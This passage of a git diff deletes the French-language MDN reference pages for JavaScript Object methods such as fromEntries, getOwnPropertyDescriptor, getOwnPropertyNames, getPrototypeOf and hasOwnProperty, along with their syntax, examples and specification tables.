Lorsqu'on utilise la méthode Object.freeze(), les propriétés existantes d'un objet deviennent immuables. En revanche, avec {{jsxref("Object.seal()")}}, il est toujours possible de modifier la valeur des propriétés existantes d'un objet scellé.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}{{Spec2('ES5.1')}}Définition initiale.
- Implémentée avec JavaScript 1.8.5
{{SpecName('ES6', '#sec-object.freeze', 'Object.freeze')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.freeze")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.isFrozen()")}}
    • -
  • {{jsxref("Object.preventExtensions()")}}
    • -
  • {{jsxref("Object.isExtensible()")}}
    • -
  • {{jsxref("Object.seal()")}}
    • -
  • {{jsxref("Object.isSealed()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/fromentries/index.html b/files/fr/web/javascript/reference/objets_globaux/object/fromentries/index.html deleted file mode 100644 index 0566ef1d36..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/fromentries/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Object.fromEntries() -slug: Web/JavaScript/Reference/Objets_globaux/Object/fromEntries -tags: - - JavaScript - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/fromEntries ---- -
{{JSRef}}
- -

La méthode Object.fromEntries() permet de transformer une liste de paires de clés/valeurs en un objet.

- -
{{EmbedInteractiveExample("pages/js/object-fromentries.html")}}
- - - -

Syntaxe

- -
Object.fromEntries(iterable);
- -

Paramètres

- -
-
iterable
-
Un itérable tel qu'un tableau ({{jsxref("Array")}}) ou une {{jsxref("Map")}} ou tout autre objet qui implémente le protocole itérable.
-
- -

Valeur de retour

- -

Un nouvel objet dont les propriétés sont fournies par les éléments de l'itérable.

- -

Description

- -

La méthode Object.fromEntries() prend comme argument une liste de paires de clés-valeurs et renvoie un nouvel objet dont les propriétés sont fournies par ces clés-valeurs. L'argument iterable doit implémenter une méthode @@iterator qui renvoie un itérateur produisant un objet semblable à un tableau avec deux éléments ; le premier élément est une valeur qui sera utilisée comme clé de la propriété et le second élément sera utilisé comme valeur associée à cette clé.

- -

Object.fromEntries() est la fonction inverse de {{jsxref("Object.entries()")}}.

- -

Exemples

- -

Convertir une Map en un Object

- -

Grâce à Object.fromEntries, on peut convertir des objets {{jsxref("Map")}} en {{jsxref("Object")}} :

- -
const map = new Map([ ['toto', 'truc'], ['machin', 42] ]);
-const obj = Object.fromEntries(map);
-console.log(obj); // { toto: "truc", machin: 42 }
-
- -

Convertir un Array en un Object

- -

Grâce à Object.fromEntries, on peut convertir des objets {{jsxref("Array")}} en {{jsxref("Object")}} :

- -
const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ];
-const obj = Object.fromEntries(arr);
-console.log(obj); // { 0: "a", 1: "b", 2: "c" }
-
- -

Transformer des objets

- -

Avec Object.fromEntries et la méthode réciproque {{jsxref("Object.entries()")}}, et les méthodes de manipulation de tableaux, on peut transformer des objets :

- -
const object1 = { a: 1, b: 2, c: 3 };
-
-const object2 = Object.fromEntries(
-  Object.entries(object1)
-  .map(([ key, val ]) => [ key, val * 2 ])
-);
-
-console.log(object2);
-// { a: 2, b: 4, c: 6 }
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.fromentries', 'Object.fromEntries')}}{{Spec2('ESDraft')}}Définition initiale avec ES2019.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Object.fromEntries")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.entries()")}}
    • -
  • {{jsxref("Object.keys()")}}
    • -
  • {{jsxref("Object.values()")}}
    • -
  • {{jsxref("Map.prototype.entries()")}}
    • -
  • {{jsxref("Map.prototype.keys()")}}
    • -
  • {{jsxref("Map.prototype.values()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptor/index.html b/files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptor/index.html deleted file mode 100644 index 5186c3b2b6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptor/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Object.getOwnPropertyDescriptor() -slug: Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyDescriptor -tags: - - ECMAScript 5 - - JavaScript - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor ---- -
{{JSRef}}
- -

La méthode Object.getOwnPropertyDescriptor() renvoie un descripteur de la propriété propre d'un objet (c'est-à-dire une propriété directement présente et pas héritée via la chaîne de prototypes).

- -
{{EmbedInteractiveExample("pages/js/object-getownpropertydescriptor.html")}}
- - - -

Syntaxe

- -
Object.getOwnPropertyDescriptor(obj, prop)
- -

Paramètres

- -
-
obj
-
L'objet sur lequel on cherche la propriété.
-
prop
-
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété dont on souhaite avoir la description.
-
- -

Valeur de retour

- -

Un descripteur de propriété de la propriété souhaitée si elle existe pour l'objet en question, sinon {{jsxref("undefined")}}.

- -

Description

- -

Cette méthode permet d'avoir des informations précises sur une propriété. Une propriété JavaScript est un nom (qui est une chaîne de caractères) ou un symbole ({{jsxref("Symbol")}}) associé à un descripteur. Voir la page {{jsxref("Object.defineProperty")}} pour plus d'informations sur les descripteurs de propriétés.

- -

Un descripteur de propriété est un enregistrement qui dispose des attributs suivants :

- -
-
value
-
La valeur associée à la propriété (pour les descripteurs de données uniquement).
-
writable
-
true si et seulement si la valeur associée à la propriété peut être changée (pour les descripteurs de données uniquement).
-
get
-
Une fonction qui joue le rôle d'accesseur (getter) pour la propriété ou {{jsxref("undefined")}} s'il n'y a pas d'accesseur (pour les descripteurs d'accesseurs uniquement).
-
set
-
Une fonction qui joue le rôle de mutateur (setter) pour la propriété ou undefined s'il n'y a pas de tel mutateur (pour les descripteurs d'accesseurs uniquement).
-
configurable
-
true si et seulement si le type du descripteur peut être changé et si la propriété peut être supprimée de l'objet.
-
enumerable
-
true si et seulement si la propriété doit apparaître lors d'une énumération des propriétés de l'objet.
-
- -

Exemples

- -
var o, d;
-
-o = { get toto() { return 17; } };
-d = Object.getOwnPropertyDescriptor(o, "toto");
-// d : {
-//       configurable: true,
-//       enumerable: true,
-//       get: /*l'accesseur*/,
-//       set: undefined
-//    }
-
-o = { truc: 42 };
-d = Object.getOwnPropertyDescriptor(o, "truc");
-// d : {
-//        configurable: true,
-//        enumerable: true,
-//        value: 42,
-//        writable: true
-//      }
-
-o = {};
-Object.defineProperty(o, "machin", {
-                                      value: 8675309,
-                                      writable: false,
-                                      enumerable: false });
-d = Object.getOwnPropertyDescriptor(o, "machin");
-// d : {
-//        value: 8675309,
-//        writable: false,
-//        enumerable: false,
-//        configurable: false
-//      }
- -

Notes

- -

Pour ES5, si le premier argument de la méthode n'est pas un objet (mais une valeur d'un autre type), une exception {{jsxref("TypeError")}} sera levée. Pour ES2015, un argument non-objet sera d'abord converti en objet avant d'appliquer la méthode.

- -
Object.getOwnPropertyDescriptor("toto", 0);
-// TypeError: "toto" n'est pas un objet  // code ES5
-
-// code ES2015
-Object.getOwnPropertyDescriptor("toto", 0);
-// {
-//    configurable:false,
-//    enumerable:true,
-//    value:"f",
-//    writable:false
-// }
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.3', 'Object.getOwnPropertyDescriptor')}}{{Spec2('ES5.1')}}Définition initiale.
- Implémentée avec JavaScript 1.8.5
{{SpecName('ES6', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.getownpropertydescriptor', 'Object.getOwnPropertyDescriptor')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Object.getOwnPropertyDescriptor")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.defineProperty()")}}
    • -
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptors/index.html b/files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptors/index.html deleted file mode 100644 index 718833d4c4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/getownpropertydescriptors/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Object.getOwnPropertyDescriptors() -slug: Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyDescriptors -tags: - - JavaScript - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors ---- -
{{JSRef}}
- -

La méthode Object.getOwnPropertyDescriptors() renvoie l'ensemble des descripteurs des propriétés propres d'un objet donné.

- -
{{EmbedInteractiveExample("pages/js/object-getownpropertydescriptors.html")}}
- -

Syntaxe

- -
Object.getOwnPropertyDescriptors(obj)
- -

Paramètres

- -
-
obj
-
L'objet dont on souhaite connaître les descripteurs des propriétés.
-
- -

Valeur de retour

- -

Un objet qui contient tous les descripteurs des propriétés propres de l'objet passé en paramètre. S'il n'y aucune propriété, cela sera un objet vide.

- -

Description

- -

Cette méthode permet d'examiner de façon précise les différentes propriétés directement rattachées à un objet. Une propriété JavaScript se définit par un nom (une chaîne de caractères) ou un symbole ({{jsxref("Symbol")}}) et un descripteur. Vous pouvez trouver de plus amples informations sur les types de descripteurs et sur leurs attributs sur la page de {{jsxref("Object.defineProperty()")}}.

- -

Un descripteur de propriété est un enregistrement qui possède les attributs suivants :

- -
-
value
-
La valeur associée à la propriété (uniquement pour les descripteurs de données).
-
writable
-
true si et seulement si la valeur associée à la propriété peut être changée (uniquement pour les descripteurs de données).
-
get
-
Une fonction qui est utilisée comme accesseur pour la propriété ou {{jsxref("undefined")}} s'il n'existe pas de tel accesseur (uniquement pour les descripteurs d'accesseur/mutateur).
-
set
-
Une fonction qui est utilisée comme mutateur pour la propriété ou {{jsxref("undefined")}} s'il n'existe pas de tel mutateur (uniquement pour les descripteurs d'accesseur/mutateur).
-
configurable
-
true si et seulement si le type de descripteur peut être changé et si la propriété peut être supprimée de l'objet correspondant.
-
enumerable
-
true si et seulement si cette propriété est listée lorsqu'on énumère les propriétés de l'objet correspondant.
-
- -

Exemples

- -

Créer un clone

- -

La méthode {{jsxref("Object.assign()")}} ne copiera que les propriétés propres et énumérables d'un objet source vers un objet cible. On peut donc utiliser cette méthode avec {{jsxref("Object.create()")}} afin de réaliser une copie « plate » entre deux objets inconnus :

- -
Object.create(
-  Object.getPrototypeOf(obj),
-  Object.getOwnPropertyDescriptors(obj)
-);
-
- -

Créer une sous-classe

- -

Pour créer une sous-classe, généralement, on définit la sous-classe et on définit son prototype comme étant une instance de la classe parente. Enfin on définit les propriétés de cette nouvelle sous-classe.

- -
function superclass() {};
-superclass.prototype = {
-  // on définit les méthodes et propriétés
-  // de la classe parente
-};
-
-function subclass() {};
-subclass.prototype = Object.create(
-  superclass.prototype,
-  Object.getOwnPropertyDescriptors({
-  // on définit les méthodes et propriétés
-  // de la sous-classe
-}));
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}}{{Spec2('ESDraft')}} 
{{SpecName('ES2017', '#sec-object.getownpropertydescriptors', 'Object.getOwnPropertyDescriptors')}}{{Spec2('ES2017')}}Définition initiale.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.getOwnPropertyDescriptors")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/object/getownpropertynames/index.html b/files/fr/web/javascript/reference/objets_globaux/object/getownpropertynames/index.html deleted file mode 100644 index 499f274e68..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/getownpropertynames/index.html +++ /dev/null @@ -1,180 +0,0 @@ ---- -title: Object.getOwnPropertyNames() -slug: Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyNames -tags: - - ECMAScript 5 - - JavaScript - - JavaScript 1.8.5 - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames ---- -
{{JSRef}}
- -

La méthode Object.getOwnPropertyNames() renvoie un tableau de toutes les propriétés (qu'elles soient énumérables ou non, tant qu'elles ne sont pas désignées par un symbole) propres à un objet (c'est-à-dire n'étant pas héritées via la chaîne de prototypes).

- -
{{EmbedInteractiveExample("pages/js/object-getownpropertynames.html")}}
- -

Syntaxe

- -
Object.getOwnPropertyNames(obj)
- -

Paramètres

- -
-
obj
-
L'objet dont seront listées les propriétés propres énumérables et non-énumérables.
-
- -

Valeur de retour

- -

Un tableau de chaînes de caractères qui sont les noms des propriétés propres (celles directement rattachées à l'objet) de l'objet passé en argument.

- -

Description

- -

Object.getOwnPropertyNames renvoie un tableau dont les éléments sont des chaînes de caractères correspondant aux noms des propriétés énumerables et non-énumerables appartenant directement à l'objet obj. L'ordre des propriétés énumérables est cohérent avec l'ordre utilisé dans une boucle {{jsxref("Instructions/for...in","for...in")}} (ou avec {{jsxref("Object.keys")}}) parmi les propriétés de l'objet. L'ordre des propriétés non-énumérables dans le tableau et parmi les propriétés énumérables n'est pas défini.

- -

Exemples

- -

Utiliser Object.getOwnPropertyNames()

- -
var arr = ["a", "b", "c"];
-console.log(Object.getOwnPropertyNames(arr).sort());
-// ["0", "1", "2", "length"]
-
-// Objet semblable à un tableau (array-like)
-var obj = { 0: "a", 1: "b", 2: "c"};
-console.log(Object.getOwnPropertyNames(obj).sort());
-// ["0", "1", "2"]
-
-
-// On affiche les noms et les valeurs
-// des propriétés avec Array.forEach
-Object.getOwnPropertyNames(obj).forEach(
-  function(val, idx, array) {
-    console.log(val + " -> " + obj[val]);
-});
-// affiche
-// 0 -> a
-// 1 -> b
-// 2 -> c
-
-// propriété non-énumérable
-var mon_obj = Object.create({}, {
-  getToto: {
-    value: function() { return this.toto; },
-    enumerable: false
-  }
-});
-mon_obj.toto = 1;
-
-console.log(Object.getOwnPropertyNames(mon_obj).sort());
-// ["toto", "getToto"]
-
- -

Si on souhaite n'avoir que les propriétés énumérables, on peut utiliser {{jsxref("Object.keys")}} ou bien une boucle {{jsxref("Instructions/for...in","for...in")}} (cette méthode renverra également les propriétés héritées via la chaîne de prototypes si on ne filtre pas avec la méthode {{jsxref("Object.prototype.hasOwnProperty()", "hasOwnProperty()")}}).

- -

Les propriétés héritées via la chaîne de prototype ne sont pas listées :

- -
function ClasseParente() {}
-ClasseParente.prototype.inheritedMethod = function () {};
-
-function ClasseFille () {
-  this.prop = 5;
-  this.method = function () {};
-}
-ClasseFille.prototype = new ClasseParente();
-ClasseFille.prototype.prototypeMethod = function () {};
-
-console.log(
-  Object.getOwnPropertyNames(
-    new ClasseFille() // ["prop", "method"]
-  )
-)
-
- -

Obtenir uniquement les propriétés non-énumérables

- -

On utilise ici la fonction {{jsxref("Array.prototype.filter()")}} pour retirer les clés énumérables (obtenus avec {{jsxref("Object.keys()")}}) de la liste de toutes les clés (obtenues avec Object.getOwnPropertynames) afin de n'avoir que les propriétés propres non-énumérables.

- -
var target = myObject;
-var enum_et_nonenum = Object.getOwnPropertyNames(target);
-var enum_uniquement = Object.keys(target);
-var nonenum_uniquement = enum_et_nonenum.filter(function(key) {
-  var indexInEnum = enum_uniquement.indexOf(key)
-  if (indexInEnum == -1) {
-    // non trouvée dans enum_uniquement indique
-    // que la clé est non-énumérable, on la
-    // garde donc dans le filtre avec true
-    return true;
-  } else {
-    return false;
-  }
-});
-
-console.log(nonenum_uniquement);
-
- -

Notes

- -

Pour ES5, si l'argument passé à la méthode n'est pas un objet (mais une valeur d'un autre type primitif), une exception {{jsxref("TypeError")}} sera levée. Pour ES2015, un argument qui n'est pas un objet sera d'abord transformé en objet avant que la méthode soit appliquée.

- -
Object.getOwnPropertyNames('toto')
-TypeError: "toto" n'est pas un objet // code ES5
-
-Object.getOwnPropertyNames('toto')
-['length', '0', '1', '2']         // code ES2015
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.4', 'Object.getOwnPropertyNames')}}{{Spec2('ES5.1')}}Définition initiale.
- Implémentée avec JavaScript 1.8.5
{{SpecName('ES6', '#sec-object.getownpropertynames', 'Object.getOwnPropertyNames')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.getownpropertynames', 'Object.getOwnPropertyNames')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.getOwnPropertyNames")}}

-
- -

Notes spécifiques à Firefox

- -

Pour les versions antérieures à Firefox 28 {{geckoRelease("28")}}, Object.getOwnPropertyNames ne listait pas les propriétés non-résolues des objets {{jsxref("Error")}}. Cela a été résolu dans les versions suivantes ({{bug("724768")}}).

- -

Voir aussi

- -
    -
  • Énumérabilité et possession des propriétés
    • -
  • {{jsxref("Object.prototype.hasOwnProperty()")}}
    • -
  • {{jsxref("Object.prototype.propertyIsEnumerable()")}}
    • -
  • {{jsxref("Object.create()")}}
    • -
  • {{jsxref("Object.keys()")}}
    • -
  • {{jsxref("Array.forEach()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/getownpropertysymbols/index.html b/files/fr/web/javascript/reference/objets_globaux/object/getownpropertysymbols/index.html deleted file mode 100644 index c296fef13f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/getownpropertysymbols/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Object.getOwnPropertySymbols() -slug: Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertySymbols -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols ---- -
{{JSRef}}
- -

La méthode Object.getOwnPropertySymbols() renvoie un tableau contenant tous les symboles des propriétés trouvées directement sur un objet donné.

- -
{{EmbedInteractiveExample("pages/js/object-getownpropertysymbols.html")}}
- - - -

Syntaxe

- -
Object.getOwnPropertySymbols(obj)
- -

Paramètres

- -
-
obj
-
L'objet dont on souhaite lister les symboles des propriétés propres.
-
- -

Valeur de retour

- -

Un tableau des symboles trouvés directement sur l'objet passé en argument.

- -

Description

- -

De la même façon que {{jsxref("Object.getOwnPropertyNames()")}}, il est possible d'avoir la liste des symboles des propriétés d'un objet donné sous forme d'un tableau. La méthode {{jsxref("Object.getOwnPropertyNames()")}} ne contiendra uniquement que les propriétés « nommées » d'un objet et non pas les propriétés uniquement accessibles via un symbole.

- -

Par défaut, aucun objet ne possède de propriété accessible via un symbole à l'état initial. Ainsi, Object.getOwnPropertySymbols() renvoie un tableau vide sauf si des propriétés nommées avec des symboles ont été définies pour l'objet.

- -

Exemples

- -
var obj = {};
-var a = Symbol("a");
-var b = Symbol.for("b");
-
-obj[a] = "symboleLocal";
-obj[b] = "symboleGlobal";
-
-var objectSymboles = Object.getOwnPropertySymbols(obj);
-
-console.log(objectSymboles.length); // 2
-console.log(objectSymboles)         // [Symbol(a), Symbol(b)]
-console.log(objectSymboles[0])      // Symbol(a)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-object.getownpropertysymbols', 'Object.getOwnPropertySymbols')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-object.getownpropertysymbols', 'Object.getOwnPropertySymbols')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.getOwnPropertySymbols")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • -
  • {{jsxref("Symbol")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/getprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/object/getprototypeof/index.html deleted file mode 100644 index c001f9e8c0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/getprototypeof/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Object.getPrototypeOf() -slug: Web/JavaScript/Reference/Objets_globaux/Object/getPrototypeOf -tags: - - ECMAScript5 - - JavaScript - - Méthode - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf ---- -
{{JSRef}}
- -

La méthode Object.getPrototypeOf() renvoie le prototype d'un objet donné (i.e. la valeur de la propriété [[Prototype]] interne).

- -
{{EmbedInteractiveExample("pages/js/object-getprototypeof.html")}}
- - - -

Syntaxe

- -
Object.getPrototypeOf(obj)
- -

Paramètres

- -
-
obj
-
L'objet dont on souhaite obtenir le prototype.
-
- -

Valeur de retour

- -

Le prototype de l'objet passé en argument. Si aucune propriété n'est héritée, c'est la valeur {{jsxref("null")}} qui est renvoyée.

- -

Exemples

- -
var proto = {};
-var obj = Object.create(proto);
-Object.getPrototypeOf(obj) === proto; // true
-
- -

Notes

- -

Pour ES5, la méthode renvoie une exception {{jsxref("TypeError")}} si le paramètre obj n'est pas un objet. Pour ES2015, le paramètre sera converti en un objet avant l'application de la méthode.

- -
Object.getPrototypeOf("toto");
-// TypeError: "toto" n'est pas un objet (code ES5)
-Object.getPrototypeOf("toto");
-// String.prototype                     (code ES2015)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.2', 'Object.getPrototypeOf')}}{{Spec2('ES5.1')}}Définition initiale
{{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getPrototypeOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.getprototypeof', 'Object.getPrototypeOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Object.getPrototypeOf")}}

-
- -

Notes relatives à Opera

- -

Bien que les anciennes versions d'Opera ne supportent pas Object.getPrototypeOf(), Opera supporte la propriété non-standard {{jsxref("Object.proto", "__proto__")}} depuis Opera 10.50.

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
    • -
  • {{jsxref("Object.setPrototypeOf()")}}
    • -
  • {{jsxref("Object.prototype.proto","Object.prototype.__proto__")}}
    • -
  • Le billet de John Resig sur getPrototypeOf (en anglais)
    • -
  • {{jsxref("Reflect.getPrototypeOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/hasownproperty/index.html b/files/fr/web/javascript/reference/objets_globaux/object/hasownproperty/index.html deleted file mode 100644 index 4a5a5434ce..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/hasownproperty/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: Object.prototype.hasOwnProperty() -slug: Web/JavaScript/Reference/Objets_globaux/Object/hasOwnProperty -tags: - - JavaScript - - Méthode - - Object - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty ---- -
{{JSRef}}
- -

La méthode hasOwnProperty() retourne un booléen indiquant si l'objet possède la propriété spécifiée "en propre", sans que celle-ci provienne de la chaîne de prototypes de l'objet.

- -
{{EmbedInteractiveExample("pages/js/object-prototype-hasownproperty.html")}}
- - - -

Syntaxe

- -
obj.hasOwnProperty(prop)
- -

Paramètres

- -
-
prop
-
Le nom ({{jsxref("String")}}) ou le symbole ({{jsxref("Symbol")}}) de la propriété à tester.
-
- -

Valeur de retour

- -

Un booléen qui indique si l'objet possède ou non la propriété indiquée en argument et que celle-ci est directement rattachée à l'objet (elle ne provient pas de la chaîne de prototypes de l'objet). hasOwnProperty() renvoie true si la propriété existe et que sa valeur est {{jsxref("null")}} ou {{jsxref("undefined")}}.

- -

Description

- -

Chaque objet descendant d'{{jsxref("Object")}} hérite de la méthode hasOwnProperty(). Cette méthode peut être utilisée pour déterminer si un objet a la propriété spécifiée en tant que propriété directe de cet objet. Contrairement à l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}, cette méthode ne vérifie pas la chaîne des prototypes de l'objet. Si l'objet est un tableau ({{jsxref("Array")}}), la méthode hasOwnProperty() pourra être utilisée afin de vérifier la présence d'un index.

- -

Exemples

- -

Utiliser hasOwnProperty() pour tester l'existence d'une propriété

- -

L'exemple suivant détermine si l'objet o contient une propriété appelée prop:

- -
o = new Object();
-o.hasOwnProperty('prop'); // false
-o.prop = 'exists';
-o.hasOwnProperty('prop'); // true
- -

Propriétés directes et propriétés héritées

- -

L'exemple suivant illustre la différence entre les propriétés directes et les propriétés héritées à partir de la chaîne de prototypes :

- -
o = new Object();
-o.prop = 'exists';
-
-o.hasOwnProperty('prop');
-// retourne true
-
-o.hasOwnProperty('toString');
-// retourne false
-
-o.hasOwnProperty('hasOwnProperty');
-// retourne false
- -

Parcourir les propriétés d'un objet

- -

L'exemple suivant montre comment parcourir les propriétés d'un objet sans traiter les propriétés héritées. On notera que la boucle  {{jsxref("Instructions/for...in", "for...in")}} ne prend en compte que les éléments énumérables. Il ne faut donc pas déduire de l'absence de propriétés non-énumérables dans la boucle, que hasOwnProperty() est elle-même strictement restreinte aux éléments énumérables (comme c'est le cas pour {{jsxref("Object.getOwnPropertyNames()")}}) .

- -
var bidule = {
-    truc: 'stack'
-};
-
-for (var nom in bidule) {
-    if (bidule.hasOwnProperty(nom)) {
-        console.log("C'est bien la propriété (" +
-                     nom +
-                     "), sa valeur : " + bidule[nom]
-                    );
-    }
-    else {
-        console.log(nom);
-        // toString ou autre
-    }
-}
- -

hasOwnProperty() en tant que propriété

- -

JavaScript ne protège pas le nom de propriété hasOwnProperty, ainsi il est possible qu'un objet puisse avoir une propriété avec ce nom, il sera donc nécessaire d'utiliser une version externe de la méthode pour obtenir des résultats corrects.

- -
var toto = {
-  hasOwnProperty: function() {
-    return false;
-  },
-  truc: 'Voici les dragons'
-};
-
-toto.hasOwnProperty('truc'); // renvoie toujours false
-
-// On utilise une méthode d'un autre objet
-// et on l'appelle avec this qui vaut toto
-({}).hasOwnProperty.call(toto, 'truc'); // true
-
-// On peut aussi utiliser la propriété hasOwnProperty de Object prototype
-Object.prototype.hasOwnProperty.call(toto, 'truc'); // true
-
- -

La dernière version utilisée permet de ne pas créer d'objet supplémentaire.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.5.
{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Object.hasOwnProperty")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/object/index.html b/files/fr/web/javascript/reference/objets_globaux/object/index.html deleted file mode 100644 index bc750b5652..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/object/index.html +++ /dev/null @@ -1,184 +0,0 @@ ---- -title: Object -slug: Web/JavaScript/Reference/Objets_globaux/Object -tags: - - Constructeur - - JavaScript - - Object - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Object ---- -
{{JSRef}}
- -

Le constructeur Object crée un wrapper d'objet.

- -

Syntaxe

- -
// Initialisateur d'objet ou littéral { [ paireNomValeur1[, paireNomValeur2[,
- ...paireNomValeurN] ] ] }
-
-// Appelé comme un constructeur
-new Object([valeur])
- -

Paramètres

- -
-
paireNomValeur1, paireNomValeur2, ... paireNomValeurN
-
Paires de noms (chaînes) et de valeurs (toutes valeurs) où le nom est séparé de la valeur par deux points (:).
-
valeur
-
Toute valeur.
-
- -

Description

- -

Le constructeur Object crée un wrapper d'objet pour la valeur donnée. Si la valeur est {{jsxref("null")}} ou {{jsxref("undefined")}}, il créera et retournera un objet vide, sinon, il retournera un objet du Type qui correspond à la valeur donnée. Si la valeur est déjà un objet, le constructeur retournera cette valeur.

- -

Lorsqu'il n'est pas appelé dans un contexte constructeur, Object se comporte de façon identique à new Object().

- -

Voir aussi initialisateur d'objet / syntaxe de littéral.

- -

Propriétés du constructeur Object

- -
-
Object.length
-
A une valeur de 1.
-
{{jsxref("Object.prototype")}}
-
Permet l'ajout de propriétés à tous les objets de type Object.
-
- -

Méthodes du constructeur Object

- -
-
{{jsxref("Object.assign()")}}
-
Copie les valeurs de toutes propriétés propres énumérables depuis un ou plusieurs objets source dans un objet cible.
-
{{jsxref("Object.create()")}}
-
Crée un nouvel objet avec le prototype d'objet et les propriétés indiqués.
-
{{jsxref("Object.defineProperty()")}}
-
Ajoute à un objet la propriété nommée décrite par le descripteur donné.
-
{{jsxref("Object.defineProperties()")}}
-
Ajoute à un objet les propriétés nommées décrites par les descripteurs donnés.
-
{{jsxref("Object.entries()")}}
-
Retourne un tableau contenant les paires [clé, valeur] des propriétés énumérables propres (c'est-à-dire directement rattachées à l'objet) de l'objet donné et dont les clés sont des chaînes de caractères.
-
{{jsxref("Object.freeze()")}}
-
